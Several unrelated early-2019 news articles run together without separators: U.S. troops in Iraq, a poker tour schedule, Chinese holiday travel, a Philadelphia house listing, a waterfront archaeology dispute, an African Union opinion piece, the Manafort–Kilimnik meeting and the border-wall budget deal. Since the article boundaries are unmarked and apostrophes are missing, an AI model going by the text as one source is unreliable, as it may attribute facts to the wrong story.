Shanahan met Prime Minister Adel Abdul Mahdi during an unannounced trip to Baghdad on Tuesday.

I made very clear that we recognize their sovereignty, their focus on independence and that we are there at the invitation of the government, Shanahan told reporters.

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Trump infuriated Iraqi politicians this month by saying that a U.S. presence was needed in Iraq to observe Iran. Washington, which occupied Iraq from 2003-2011, now has around 5,200 troops in Iraq at the request of the Baghdad government to help fight against Islamic State.

Iraq is an ally of both the United States and Iran, and its politics are often dominated by efforts to balance relations with two powerful countries that are bitter enemies.

Trumps suggestion that Iran was the target of the U.S. presence in Iraq was denounced across the political spectrum in Baghdad last week, including by Abdul Mahdi. President Barham Salih said the U.S. troops must stick to their anti-Islamic State mission; Iran-aligned politicians in Iraqs parliament pressed demands that the U.S. mission be scaled back.

The uproar came just months after Trump angered Iraqi leaders on his only visit to the country so far. On the day after Christmas Trump stopped only at a U.S. air base in the remote desert. Unlike predecessors Barack Obama and George W. Bush, he skipped the capital Baghdad and met no Iraqi officials.

Shanahan said the topic of U.S. troops in Iraq and Trumps Iran comments did not come up during his talks with Abdul Mahdi, but the prime minister told him that Iraq needed to maintain strong relations with both Washington and Tehran.

There is activity in their legislature the discussions have been should they restrict the number of U.S. forces in Iraq and I wanted to make clear to (Abdul Mahdi) that we recognize our role, we understand that we are there by invitation, Shanahan said.

Speaking after meeting with Shanahan, Abdul Mahdi said he respected the decisions of the parliament.

The government has its view and the political blocs have theirs, he said.

SYRIA WITHDRAWAL

U.S. officials have criss-crossed the Middle East in recent months to reassure allies that Washington remains committed to the region, after Trump announced in December that he would abruptly withdraw the 2,000 U.S. troops from Syria.

That decision was opposed by top aides, including Defense Secretary Jim Mattis, who quit, leaving his deputy Shanahan in charge of the Pentagon.

Shanahan met with U.S. military commanders while in Iraq to get an update on the fight against Islamic State. U.S.-backed fighters have mounted an attack against Islamic States last bastion in eastern Syria.

U.S. officials have long estimated that the Syria pullout could take until sometime in March or April to execute fully, but have been reluctant to set an exact timeline given hard-to-predict battlefield conditions.

Islamic State was declared defeated in Iraq in 2017, but continues to wage small-scale insurgent attacks in some areas.

(Reporting by Idrees Ali; Additional reporting by Muayad Hameed; Editing by John Stonestreet and Peter Graff)PokerNews to Live Report This Weekends HPT Golden Gates Main Event

February 13, 2019 Chad Holloway

Season XV of the Heartland Poker Tour (HPT) continues this weekend at Golden Gates Poker Parlour in Black Hawk, Colorado. The stop features a $1,650 buy-in Main Event that will be live reported right here on PokerNews.

That tournament kicks off tomorrow, Thursday, February 14, with Day 1a at Noon local time. Players will start with 30,000 in chips and play 40-minute levels. Days 1b and 1c will take place at the same time on Friday and Saturday respectively, with the surviving players from each flight returning for Day 2 action at 11 a.m. on Sunday. The final table will then be live streamed at noon on Monday, February 18.

"Were looking forward to having an industry leader like PokerNews there to report on it every step of the way.

HPT is excited to have PokerNews providing additional event coverage in 2019, said Korey Stewart, HPT Marketing Manager. Season XV is shaping up to be another record-breaking year for the tour. Weve already added several new venues to the schedule and were hoping to announce a few more new additions soon. There will be plenty of opportunities for poker enthusiasts across the country to take a shot at winning life-changing money at nationally televised final tables. Were looking forward to having an industry leader like PokerNews there to report on it every step of the way.

The last time the HPT visited the 17-table poker room was back in September, which is when Wendy Freedman topped a 496-entry field to win a $167,696 first-place prize.

The latest series actually kicked off last weekend with a $400 buy-in Opening Event, which attracted 926 entries. The tournament ended when the final five struck a deal that saw them each lock up five-figure scores  Jeremy Hanke (1st - $42,047), Eric Pfenning (2nd - $35,087), Vincent Moscati (3rd - $33,605), Steven Kanowitz (4th - $26,493), and Jeremy Standiford (5th - $22,117).

Upcoming HPT Stops

PokerNews and the HPT plan to continue their live reporting relationship for stops throughout 2019. Those include visits to Hollywood Casinos in St. Louis and the Cincinnati area (Lawrenceburg, Indiana), The Meadows Racetrack and Casino in Pittsburgh, and Ameristar East Chicago.

Heres a look at the current Season XV schedule with more stops expected to be announced in the near future. For more information, visit hptpoker.com and follow them on Twitter @HPTPoker.

HPT Season XV Schedule

Series Dates Venue Location Main Event Buy-In February 6-18 Golden Gates Poker Parlour Black Hawk, Colorado $1,650 March 7-18 Hollywood Casino & Hotel St. Louis, Missouri $1,650 March 21-April 1 Hollywood Casino Lawrenceburg Lawrenceburg, Indiana $1,100 April 4-15 The Meadows Racetrack & Casino Pittsburgh, Pennsylvania $1,100 April 18-29 Hollywood Casino Columbus Columbus, Ohio $1,650 Mary 2-14 Ameristar East Chicago Gary, Indiana $1,650

Image courtesy of HPT.You are here: Travel

 Flash

Chinese traveled to more overseas destinations during the recently-concluded Spring Festival holiday, online travel agency (OTA) Ctrip revealed.





Ctrip users visited 97 overseas countries and regions during the week-long holiday, up from 82 registered the previous year, according to a report released by the country's largest OTA.





Official data showed that outbound trips increased by nearly 12.5 percent to over 6.31 million during the past week.





Thailand remained the most popular overseas destination on Ctrip during this period, followed by Japan. The two countries saw over 30 percent of the visitors traveling overseas tracked by Ctrip.





North European countries are also getting popular with doubling Ctrip orders.





Travelers from Beijing showed the strongest spending power, paying about 9,000 yuan (1,328.7 U.S. dollars) on average for their overseas trips.





Ctrip CEO Jane Sun expects a continuous expansion of China's outbound tourism market thanks to the growing middle-income community, with places neighboring the Chinese mainland as the most vibrant destinations.





The report also found that people in Shanghai, Beijing and Guangzhou love traveling more than their peers in other places, while those in county-level cities posted unprecedented enthusiasm for travel during the holiday.



Edward Solow and his wife, Nevine Zariffa, were living in Wynnewood, but he yearned to be in Center City.

I had always wanted to live in Center City, he said. I had lived there in a previous life.

At first, they limited their search to properties strictly within Center City, looking in such neighborhoods as Washington Square West. But their Realtor was patient.

He put up with us for weeks upon weeks of looking, Solow said. But I put up with him for 30 years.

The Realtor, who also happens to be their son Josh, was not only patient but also persuasive. He eventually convinced the couple to look at a property in Queen Village.

We loved the place, and we bought it, Edward Solow said.

They were drawn to the space, which would allow Solow and Zariffa to each have an office. It was just the two of us, he said.

After purchasing in July 2014, the couple hired contractors to do major work resurfacing exterior walls and insulating the basement.

Then we did the big thing, Solow said.

At the time, he was recovering from knee surgery and knew surgery on his other knee was inevitable. In the course of their house hunting, the couple had seen a property with a pneumatic vacuum elevator  one that didnt require room for mechanicals and would be relatively easy to install.

Its very smooth, he said. You push a button, and it sucks you up the tube.

Solow said the elevator was worth the investment.

I had my second knee done, and it was a godsend that I didnt have to walk stairs, he said. Its nothing like coming into the house with two or three or four suitcases and just loading them onto the elevator, pushing a button and theyre upstairs.

In addition to the elevator, the couple also enjoys the multiple decks and outdoor access in the four-bedroom, four-bath property, Solow said. I love the amount of outdoor space in the house, he said. The roof deck is gigantic.

The couple originally planned to expand the rooftop space. Now that the property is listed for sale, Solow said, the water and gas connections on the deck will make it easy for new owners to install an outdoor kitchen.

In addition to such finishes as a central vacuum, a smarthome system, and custom carpentry, Solow expects the Queen Village neighborhood to be a draw, he said. The house is great, and its in a great part of the city, he said.

Zariffas family lives in Montreal, and Solow said the couple is building a home there to be closer to them once Zariffa retires. Luckily, they have a Realtor they trust.

The property is listed for $1,184,000 at Compass with Josh Solow.The Delaware River Waterfront Corp. is vowing that a riverside property that was a shipyard during William Penns time wont be sold until its would-be buyer, the Durst Organization of New York, publicly shares its plans to protect and showcase the sites buried archaeological treasures.

DRWC president Joe Forkin said Tuesday that there will be a robust public process involving community outreach and on-site educational programs before the sale of the so-called Vine Street Lot, between Vine and Callowhill Streets on North Christopher Columbus Boulevard, to Durst, which is under contract to acquire the land.

Forkins remarks were in response to a letter last month by State Sen. Larry Farnese (D., Phila.) in which the lawmaker called for a public vetting process before the sale to Durst, one of New Yorks most established real estate companies, is completed. Farnese wrote his letter after members of the nonprofit West Shipyard Preservation Trust, which has long sought to have the site made into a historic attraction, asked him to intervene.

The property is directly across the street from the assemblage of piers  the sites of waterfront restaurants including Dave & Busters and Morgans Pier  that were acquired last year by Durst.

DRWC looks forward to working with Durst and the public throughout this process, said Forkin, whose group oversees development along central Philadelphias Delaware River waterfront. The public-engagement process will begin before Durst closes on the property and will continue as development progresses, he said.

At issue is the future of a property that entombs intact structures from its time as a shipyard starting in the late 17th century, including a slipway that was thought by archaeologists in a 1987 dig to be the only example of its kind on the East Coast.

The West Shipyard  named for founder James West  was later buried beneath landfill piled along the banks of the Delaware River as part of mid-19th-century land reclamation work aimed at enlarging the citys wharves to support larger-scale port operations, according to West Shipyard Preservation Trust vice president John Scorsone.

Thanks to a train yard built at the site during this period, the port structures that lay underground remained undisturbed, even as much of the surrounding area was excavated over the next century for big infrastructure projects, such as the Benjamin Franklin Bridge and I-95, Scorsone said.

Last month, Durst and the DRWC announced that the New York company had been selected to acquire the property, which is now used for parking after years as a Hertz Corp. auto rental lot, following a July 2018 open call for development proposals.

In a news release announcing the deal, Durst said it would work with an archaeological team from the engineering firm AECOM to design a project that is considerate of the archaeologically significant West Shipyard." It also said the project would connect with the nearby Wood Street Steps, the only surviving example of 10 passageways to the waterfront commissioned by William Penn in the early 1700s.

But West Shipyard Preservation Trust members, who had hoped to one day see the property redeveloped into an attraction akin to the Franklin Court historical site in Philadelphias Old City neighborhood, have said that they are skeptical of the developers and DRWCs commitment.

Scorsone said he had been assured by DRWC that his group would have a chance to discuss archaeological preservation plans in a public forum before any development agreements were struck and that members were blindsided by the announcement last month that Durst was already under contract for the land.

Once it gets into private hands, theres very little the public can do, said Scorsone, who also represents the so-called Rivers Edge community surrounding the Vine Street Lot on the Central Delaware Advocacy Group, a coalition of river-adjacent neighborhood organizations.

After being contacted by the preservation group, Sen. Farnese wrote to DRWC chairman Alan Hoffman to ask that the city-government-affiliated nonprofit "not enter into a final agreement of sale to transfer this site without a public process that would ensure a favorable outcome for the site.

Hugh Baird, a spokesman for Senate Democrats, said in an email Tuesday that Farnese has since received assurances from the DRWC that experts have been hired to ensure that historical assets are preserved and that public input would be sought during development.

Durst spokesman Anthony Campisi said in an email that AECOM is already working with the Philadelphia Historical Commission on an archaeological study of the site, with plans to dig five test trenches at the property to offer an early peek underground.

This excavation will engender a plan that is sensitive to the sites historic heritage and provides a wealth of new information for historical researchers, Campisi said. We are planning public presentations of our scope and findings as well as community site visits [before the deal closes] to educate the public and inform the development process.

But Scorsone said such assurances  which have not been related directly to the preservation group  dont lessen members concerns about DRWCs actions.

We are against them even entering into an agreement of sale for this property without first having a public process set up to determine if such a sale should even be considered, he said.The 32nd Ordinary Session of the Assembly of the African Union convened in Addis Ababa, Ethiopia on Sunday, February 10 under the theme "Refugees, Returnees, and Internally Displaced Persons: Towards Durable Solutions to Forced Displacement in Africa."



During the opening ceremony, Egyptian President Abdel Fattah el-Sisi received from his Rwandan counterpart Paul Kagame, the outgoing chairman of the African Union (AU), the AU chairmanship.

Egypt will focus on completing the institutional reforms initiated by President Kagame, supporting Africa Agenda 2063 and the peace and security portfolio, and boosting intra-African trade and development in the coming period.

The African continent faces great challenges and changes, so the African Union and African countries should adopt more effective and swift policies to catch up with these changes and effectively participate in the new global economy.

Africa is the biggest continent suffering from refugees and internally displaced people

There is no doubt that the problem of refugees is a big problem not only for Africa but for the world.

The flows are mainly due to armed conflicts and civil strife, which have resulted in the killing of thousands and the displacement of millions. In addition, ethnic and religious intolerance has sometimes resulted in humanitarian catastrophes.

The massive violations of human rights and the resulting dementia of thousands of lives continue to challenge the international community and the African Union.

The African continent lacks effective means of peaceful circulating power, which is the result of some choosing to monopolize political and economic power, all of which played a role in forcing people to flee their usual place of residence.

Millions of Africans are suffering from displacement, and we need substantial sums to repatriate them. Repatriation is largely unavailable as developed countries are unable to provide sufficient funds to carry out this task, and most host countries face economic problems, which makes their integration into these societies almost impossible.

Africa's peace and stability crucial for the future

The series of civil wars in Africa continues, and countries such as central Africa, Mali, Somalia, South Sudan, Democratic Congo, and others are still suffering from armed conflicts.

So far, the efforts of the United Nations and the African Union have been unable to resolve these conflicts or achieve peace and security in these countries.

The African Union should, therefore, consider intensifying its efforts with the United Nations and other parties towards the elimination of such wars and opening the way to a new, secure, and peaceful Africa.

Provision and development of health and education services are mandatory

The cause of civil wars and conflicts in Africa is the combination of economic backwardness and the lack of services and unemployment.

It is well known that all African countries are suffering from an imbalance in their budgets, where insufficient amounts are allocated to health and education.

The combination of low levels of university education and the lack of trained technical workers in African countries has become an impediment to attract foreign investment, which can only be attracted when good education policies are in place and adequate resources are allocated.

Achieving development and catching the manufacturing train is a must

African countries are suffering from a low share of manufacturing in gross domestic product. Moreover, the lack of infrastructures, service industries, and modern technologies also make it difficult for African countries to attract foreign investment.

Countries, such as Rwanda, Ethiopia and Egypt that have attracted investments, have launched huge infrastructure projects by making positive reforms in their legislation and laws. On the contrary, many other countries in Africa are still far from the path to economic reforms and industrialization.



The agreement to establish an African Free Trade Area (CFTA) is a step in the right direction to promote intra-Africa development.

China-Africa cooperation is on a continuous line

Sino-African relations have reached unprecedented levels in recent years due to China's ongoing support to development planning in African countries. Cooperation between China and African countries in various areas are also close.

China has provided thousands of scholarships to African students, and the program of government capacity building continues, which will contribute positively to African economies in the near future.

China supports Africa's plans for growth and transformation towards industrialization by financing infrastructure, creating industrial zones, and encouraging Chinese enterprises to invest in Africa.

With China announcing the Belt and Road Initiative, African countries have been quick to welcome and participate in the initiative.

The confidence towards China has increased rapidly since China's establishment of six industrial zones in Africa. These industrial zones support Africa's industrialization and production and the transfer of expertise and technology.



It is good to mention that China has established industrial zones with both Egypt and Ethiopia. The former now holds the chairmanship of the AU summit, and the latter is AU headquarters.

Another focal point on China's good policy in Africa is the development fund. During the 2018 Beijing Summit of the Forum on China-Africa Cooperation (FOCAC), China pledged the second US$60 billion fund to support African development with eight initiatives involving industrial promotion, infrastructure connectivity, trade facilitation, green development, capacity building, healthcare, people-to-people exchange, and peace and security.

These investments were preceded by an investment of US$60 billion over the past three years where China had announced plans for cooperation with Africa and support Africa's agenda 2063.

These contributions make China a major supporter of Africa's development and renaissance plans.

Hisham Abu Bakr Metwally is the first economist researcher with the Central Department for Export & Import Policy under the Egyptian Ministry of Foreign Trade and Industry.

Opinion articles reflect the views of their authors, not necessarily those of China.org.cn.The 2016 nominating conventions had recently concluded and the presidential race was hitting a new level of intensity when Paul Manafort, Donald Trump's campaign chairman, ducked into an unusual dinner meeting at a private cigar club a few blocks away from the campaign's Trump Tower headquarters in Manhattan.

Court records show Manafort was joined at some point by his campaign deputy, Rick Gates, at the session at the Grand Havana Club, a mahogany wood-paneled room with floor-to-ceiling windows offering panaromic views of the city.

The two Americans met with an overseas guest, a longtime employee of their international consulting business who had flown to the United States for the gathering: a Russian political operative named Konstantin Kilimnik.

The Aug. 2, 2016, encounter between the senior Trump campaign officials and Kilimnik, who prosecutors allege has ties to Russian intelligence, has emerged in recent days as a potential fulcrum in Special Counsel Robert Mueller's investigation.

It was at that meeting that prosecutors believe Manafort and Kilimnik may have exchanged key information relevant to Russia and Trump's presidential bid. The encounter goes "very much to the heart of what the special counsel's office is investigating," prosecutor Andrew Weissmann told a federal judge in a sealed hearing last week.

One subject the men discussed was a proposed resolution to the conflict over Ukraine, an issue of great interest to the Russian government, according to a partially redacted transcript of the Feb. 4 hearing.

During the hearing, the judge also appeared to allude to another possible interaction at the Havana Club gathering: a handoff by Manafort of internal polling data from Trump's presidential campaign to his Russian associate.

The new details provide a rare hint at what Mueller is examining in the final stretch of his nearly 21-month-old investigation - and underscore his deep interest in the Grand Havana Club gathering, which ended with the three men leaving through separate doors, as Judge Amy Berman Jackson noted.

Weissmann said in the hearing that one of the special counsel's main tasks is to examine contacts between Americans and Russia during the 2016 race and determine whether Trump associates conspired with the Russian-backed interference campaign.

"That meeting - and what happened at that meeting - is of significance to the special counsel," he said pointedly.

The hearing was held in a closed courtroom and only a partial transcript was released because the special counsel has argued public disclosure of the issues discussed could harm "ongoing law enforcement investigations."

A spokesman for Mueller declined to comment.

A spokesman for Manafort, who prosecutors have alleged breached a cooperation agreement by lying to investigators, also declined to comment. Manafort has pleaded guilty to a series of crimes related to consulting work he did in Ukraine. He has not been accused of coordinating with the Russians to tilt the election.

Kilimnik, who prosecutors have charged with working with Manafort to obstruct the investigation, did not respond to a request for comment.

In a 2017 statement to The Washington Post, he denied any connection to Russian intelligence. Kilimnik said the Grand Havana Club meeting had nothing to do with politics or the presidential campaign. Instead, he called the session a "private" visit, during which he and Manafort gossiped about "bills unpaid by our clients" and the political scene in Ukraine, where Manafort had worked as a political consultant for a decade before joining Trump's campaign.

An unusual time

There have long been questions about why Manafort would break away from his duties running Trump's campaign to meet with his Russian employee, an encounter The Washington Post first reported in 2017.

Rolf Mowatt-Larssen, a former CIA official who now teaches at Harvard University's Belfer Center for Science and International Affairs, said that episode raises many red flags.

Manafort "goes way outside the normal bounds of behavior," Mowatt-Larssen said.

A former senior U.S. intelligence official, who spoke on the condition of anonymity because of the ongoing investigation, called the details about what occurred at the Grand Havana Club gathering "the most interesting and potentially significant development we have seen in a long time."

Prosecutors have alleged that among the false statements Manafort made to investigators during his interviews in recent months were key lies about the Aug. 2 meeting and other interactions with Kilimnik.

Manafort's lawyers have acknowledged he gave incomplete and sometimes conflicting information during 12 interviews and two sessions in front of a grand jury. But they said he did not intend to lie, but was instead confused and at times forgetful.

Jackson told the lawyers she will likely rule Wednesday on whether she believes Manafort lied to prosecutors, a decision that could impact his sentencing in March.

The Grand Havana Club meeting took place during a critical moment in the 2016 race.

Less than two weeks earlier, the issue of Russia's role in the campaign had exploded into view when WikiLeaks published thousands of emails stolen from the Democratic National Committee. Democratic candidate Hillary Clinton's supporters immediately fingered Russia in the hack, a view later embraced by U.S. intelligence agencies.

Instead of condemning the Kremlin, Trump mockingly asked Russia to find emails Clinton had deleted while serving as secretary of state. "Russia, if you're listening, I hope you're able to find the 30,000 emails that are missing," he said at a July 27 news conference.

Trump also made a series of public statements in July that appeared to echo Kremlin talking points on foreign policy. In an interview with the New York Times, he questioned the U.S. commitment to defending NATO partners from Russian aggression. Then he promised to look into recognizing Russia's invasion of Crimea.

"You know, the people of Crimea, from what I've heard, would rather be with Russia than where they were," he said in an ABC News interview July 31.

In court last week, prosecutors focused on Manafort's choice to meet with Kilimnik in person during this period.

"There is an in-person meeting at an unusual time for somebody who is the campaign chairman to be spending time and to be doing it in person," Weissmann said.

At the same time, Manafort was strategizing about how to use his prominent role with the Trump campaign to halt a personal financial spiral, court records show.

He owed millions in property taxes and for home improvements, insurance policies, credit cards and other debts, according to documents introduced during his trial in Virginia last summer.

Manafort viewed Kilimnik - his liaison to high-level Ukrainian politicians and Russian billionaire Oleg Deripaska - as key to leveraging his unpaid role as Trump's campaign chairman, emails reviewed by The Post show. The two were in frequent contact during Manafort's tenure at Trump's campaign, according to court records.

A Russian army veteran who had trained at a military language academy known as a feeder school for the intelligence services, Kilimnik had worked for Manafort since 2005, when he began serving as a translator for Manafort's Ukraine operation.

In documents filed in court last year, Mueller's prosecutors wrote that Gates, Manafort's deputy, said Kilimnik told him he had formerly been an officer in the GRU, the Russian military intelligence unit accused of engineering the 2016 election interference. Prosecutors said the FBI has assessed that Kilimnik's intelligence ties continued into 2016.

Kilimnik was also well known at the U.S. Embassy in Kiev, and officials there met with him frequently to discuss Ukrainian politics, according to people familiar with his work. During last week's hearing, prosecutors acknowledged there was "no question" Kilimnik had been in communications with State Department officials.

Manafort told The Times in February 2017 he had never "knowingly" spoken to a Russian intelligence officer. "It's not like these people wear badges that say, 'I'm a Russian intelligence officer,'" he added.

Tuesday would be best

In April 2016, Manafort emailed Kilimnik to ask if the "OVD operation" had seen the positive press Manafort was receiving for his Trump work, The Post previously reported. That was an apparent reference to Deripaska, a onetime Manafort business partner.

"How do we use to get whole?" Manafort wrote.

Kilimnik has told The Post he came to the United States and met with Manafort on May 7 to discuss business issues.

Then, on July 7, Manafort emailed Kilimnik, asking him to inform Deripaska that if he needed "private briefings" about the campaign, "we can accommodate."

A Deripaska spokeswoman has said he was never offered nor received campaign briefings. Manafort spokesman Jason Maloni also said no briefings for Deripaska took place, telling The Post in 2017 the email exchanges reflected an "innocuous" effort to collect past debts.

On July 29, 2016, Kilimnik wrote Manafort a cryptic note.

Kilimnik told Manafort he had met that day with the man who had given Manafort "the biggest black caviar jar several years ago." The Post has previously reported that congressional investigators believed Kilimnik's reference to "black caviar" was a code for money.

Kilimnik wrote that he and the man had talked for five hours and he had important messages to relay to Manafort as a result. Kilimnik asked when Manafort would be available to meet.

"Tuesday would be best," Manafort responded. The following Tuesday was Aug. 2.

When they saw each other days later at the Grand Havana Club, one topic the men discussed was a peace proposal for Ukraine, an agenda item Russia was seeking as a key step to lift punishing economic sanctions, according to court records.

Prosecutors have accused Manafort of lying to them about how frequently he and Kilimnik discussed the matter - initially telling investigators he would not "countenance" the idea because he viewed it as a "backdoor" of some kind. Despite Manafort's claim of disinterest, prosecutors said he and Kilimnik continued to pursue the subject in several subsequent meetings, including one in January 2017 when the Russian was in Washington, D.C, for Trump's inauguration.

In court, Manafort's lawyers contended that he was candid about the discussions when reminded by prosecutors and denied that his account has been inconsistent.

An extremely sensitive issue

There are also indications in the transcript of last week's hearing that prosecutors have explored whether it was at the Manhattan cigar bar that Manafort shared polling data related to the 2016 White House race with Kilimnik - another topic about which Manafort lied, they allege.

The sharing of that data was first disclosed, apparently inadvertently, in a court filing by Manafort's attorneys last month. At the time, it was unclear when Manafort passed along the information to his Russian employee - as well as the substance of the material.

During last week's hearing, the judge devoted a significant portion of time to discussing what appeared to be the polling data - something she noted Manafort initially said "just was public information."

Weissmann said Manafort had a motive to lie about sharing material with Kilimnik as he was running Trump's campaign.

"It's obviously an extremely sensitive issue," the prosecutor said, adding: "We can see what it is that he would be worried about."

What exactly might have been shared with Kilimnik at the Grand Havana Club appears to be a matter of dispute.

On the day of gathering, Manafort sent Gates an email asking him to print material for a meeting, according to court records. The substance of the material has not been publicly disclosed.

An attorney for Gates declined to comment.

Jackson indicated in the hearing that Gates has testified that the material was shared at the Grand Havana Club gathering. "Didn't he say it happened at the meeting?" she asked.

"I don't believe so," responded Richard Westling, an attorney for Manafort.

Westling noted the email Gates printed did not specifically reference Kilimnik, implying the material may not have been for the Russian. And he argued that Gates has offered inconsistent accounts and should not be believed.

Manafort's defense team also suggested the information was too detailed to be helpful and would have been useless to Kilimnik. "It frankly, to me, is gibberish . . . It's not easily understandable," Westling said.

Jackson appeared skeptical. "That's what makes it significant and unusual," the judge said.

As a longtime aide to Manafort, Kilimnik had experience using public surveys. In a February 2017 interview, Kilimnik described to Radio Free Europe the key role polling has played in Manafort's political consulting.

"I've seen him work in different countries, and he really just does, you know, takes very seriously his polling and, you know, he can stand, you know, two weeks going through the data, and he'll come with the best strategy you can ever have, and he'll put it on the table of the candidate," Kilimnik said.

It is unclear how long Kilimnik remained in the United States after the Grand Havana Club meeting.

Flight records show that a private plane belonging to Deripaska landed at Newark Liberty International Airport shortly after midnight on Aug. 3, just hours after Kilimnik and Manafort met. The plane spent only a few hours on the ground before taking off again and returning to Moscow.

Larissa Belyaeva, a spokeswoman for Deripaska, said the plane only carried members of his family.

"We can confirm that Mr. Deripaska has never lent his private jet to Mr. Kilimnik nor has ever had any interaction with him," she said.

In the days after the meeting, Manaforts work in Ukraine bubbled into public view. On Aug. 19, he resigned from Trumps campaign.Despite expressing his unhappiness about the deal, President Donald Trump is expected to sign a bipartisan budget agreement that would avert another partial government shutdown, according to multiple reports. But he hasnt committed to that publicly.

I have not seen it yet," Trump said of the deal. "Well take a look at it when it comes. I dont want to see a shut down. A shutdown would be a terrible thing.

CNN, NBC News, and the Wall Street Journal all report that Trump intends to sign the agreement into law once Congress passes it, preventing the government from shutting down for the third time during his tenure as president. The House is scheduled to vote on the legislation on Thursday, where it is expected to pass easily. It will then move to the Senate, where it already has the support of Senate Majority Leader Mitch McConnell, R-Ky.

I think hes got a pretty good deal here, McConnell told reporters. I hope hell decide to sign it.

Here are the latest updates:

Republican senator: Back-pay for federal contractors could be deal breaker

Democrats are pushing to add a provision to the bipartisan spending bill to provide back pay to tens of thousands of federal contractors impacted by a 35-day partial government shutdown that ended earlier this month.

Thousands of federal contractors have not been reimbursed from the 35-day shutdown," Senate Minority Leader Chuck Schumer (D., N.Y.) told reporters Wednesday. No one should stand in the way of that. Its just not fair to them. They were hostages.

But Sen. Roy Blunt (R., Mo.) told reporters any effort to offer back-pay to federal contractors would be a deal breaker for Trump.

Ive been told the president wont sign that, Blunt told reporters, according to the Washington Post.

Trump: I dont want to see a shutdown

During an appearance in the Oval Office with Colombian President Ivan Duque Marquez, Trump told reporters he had not yet seen the bipartisan spending bill, and hadnt made up his mind whether he would sign it into law.

"We will be getting it. Well be looking for landmines, because you could have that, you know. Its been known to happen before to people, Trump said. I dont want to see a shut down. A shutdown would be a terrible thing.

Trump also alluded to reports that he would seek to gather additional funds  possibly by declaring a national emergency at the border  in order to fully fund construction of his proposed border wall.

Regardless of what I do, we already have, as you know, a lot of money, Trump said. We have options that most people dont really understand.

House to vote Thursday on bill

The House will vote Thursday on the bipartisan bill, according to House Democratic Caucus Chairman Hakeem Jeffries.

The overwhelming majority of the House Democratic Caucus will support this legislation, the New York Democrat said, according to USA Today.

Once it passes through the House, the bill would go to the Senate, where McConnell has already issued his support. Then its up to the president to sign it before Fridays deadline.

How Trumps media allies are responding to the deal

On his Fox News show Tuesday night, Sean Hannity, who reportedly advised Trump on his shutdown strategy, called the bipartisan budget deal pathetic and garbage, but also told his viewers he wouldnt be angry at Trump for signing it.

Im not as concerned as some other conservatives if the president signs the bill, Hannity said, provided Trump declares a national emergency at the border to fully fund his proposed border wall.

Fox Business host Lou Dobbs, who also reportedly advised Trump, called the deal embarrassing and insulting on his show Tuesday night.

Conservative columnist Ann Coulter called the president a coward for what she called his refusal to fight for the border wall he campaigned for during the 2016 presidential campaign. Call this his Yellow New Deal  Coulter tweeted to her 2.13 million followers.

CNN commentator and former Pa. Senator Rick Santorum said Trump was clearly not a winner on the shutdown deal. The president was the one who had the big show, and didnt deliver, Santorum said on Anderson Cooper 360 Tuesday night.

Whats in the bipartisan deal?

The bipartisan deal reportedly includes $1.375 billion for 55 miles of new barriers along the border (though it prohibits the use of concrete walls) and maintains detention beds for undocumented immigrants at current levels (Democrats wanted to lower that number). Overall, the bill increases Department of Homeland Security spending by $1.7 billion, and would fund the nine departments impacted by the last shutdown through Sept. 30.

White House officials told CNN and the Washington Post that the president was likely to search for other options  including declaring a national emergency at the border  to secure the funds necessary to construct his border wall.WASHINGTON (AP)  Under mounting pressure from his own party, President Donald Trump appeared to be grudgingly leaning toward accepting an agreement Tuesday that would head off a threatened second government shutdown but provide just a fraction of the money he's been demanding for his Mexican border wall.

Trump said he would need more time to study the plan, but he also declared he was not expecting another shutdown this weekend when funding for parts of the government would run out. He strongly signaled he planned to scrounge up additional dollars for the wall by raiding other federal coffers to deliver on the signature promise of his presidential campaign.

"I can't say I'm happy. I can't say I'm thrilled," Trump said of the proposed deal. "But the wall is getting built, regardless. It doesn't matter because we're doing other things beyond what we're talking about here."

Accepting the deal, worked out by congressional negotiators from both parties, would be a disappointment for a president who has repeatedly insisted he needs $5.7 billion for a barrier along the U.S.-Mexico border, saying the project is paramount for national security. Trump turned down a similar deal in December, forcing the 35-day partial shutdown that left hundreds of thousands of federal workers without paychecks and Republicans reeling. There is little appetite in Washington for a repeat.

Lawmakers tentatively agreed Monday night to a deal that would provide nearly $1.4 billion for border barriers and keep the government funded for the rest of the fiscal year, which ends on Sept. 30.

The agreement would allow 55 miles of new fencing  constructed using existing designs such as metal slats  but far less than the 215 miles the White House demanded in December. The fencing would be built in Texas Rio Grande Valley.

Full details were not expected to be released until Wednesday as lawmakers worked to translate their verbal agreement into legislation. But Republican leaders urged Trump to sign on.

"I hope he signs the bill," said Senate Majority Leader Mitch McConnell, who joined other GOP leaders in selling it as a necessary compromise that represented a major concession from Democrats.

Appropriations Committee Chairman Richard Shelby (R., Ala.) expressed optimism Trump would be on board.

"We believe from our dealings with them and the latitude they've given us, they will support it," he said. "We certainly hope so."

Others were less upbeat. Sen. John Cornyn (R., Texas), who traveled with the president to a rally in Cornyns home state Monday night, said, My impression flying back with him from El Paso last night is that he thinks its pretty thin gruel.

A presidential rejection of the deal could plunge Congress into a new crisis, as lawmakers have no clear Plan B. They need to pass some kind of funding bill to avoid another shutdown at midnight Friday and have worked to avoid turning to another short-term bill that would only prolong the border debate.

Speaking at a Cabinet meeting, Trump said of a possible shutdown: "I don't think it's going to happen."

Still, he made clear that, if he does sign on to the deal, he is strongly considering supplementing it by moving money from what he described as less important areas of government.

"We have a lot of money in this country and we're using some of that money  a small percentage of that money  to build the wall, which we desperately need," he said.

That could be more difficult than he made it sound, facing challenges in Congress or federal court or both.

The White House has long been laying the groundwork for Trump to use executive action to bypass Congress and divert money into wall construction. He could declare a national emergency or invoke other executive authority to tap funds including money set aside for military construction, disaster relief, and counterdrug efforts.

Previewing that strategy last week, acting White House chief of staff Mick Mulvaney said, Well take as much money as you can give us, and then we will go off and find the money someplace else  legally  in order to secure that southern barrier. He said more than $5.7 billion in available funds had been identified.

McConnell, who had previously said he was troubled by the concept of declaring a national emergency, said Tuesday that Trump "ought to feel free to use whatever tools he can legally use to enhance his effort to secure the border."

The framework now under consideration contains plenty to anger lawmakers on both the right and left  more border fencing than many Democrats would like and too little for conservative Republicans  but its authors praised it as a genuine compromise that would keep the government open and allow everyone to move on.

Trump was briefed on the plan Tuesday by Shelby and sounded more optimistic after the meeting. "Looking over all aspects knowing that this will be hooked up with lots of money from other sources," he tweeted, adding, "Regardless of Wall money, it is being built as we speak!"

Senate Democratic leader Chuck Schumer urged Trump to accept the package to avert another shutdown, calling the tentative accord "welcome news."

But the proposal was met with fury by some on the right, including Fox News Channels Sean Hannity, a close friend of the presidents, who slammed it as a garbage compromise.

Jenny Beth Martin, cofounder of the Tea Party Patriots, released a scathing statement saying she and others had been hoodwinked.

"This so-called 'deal' is worse than a joke," she said.

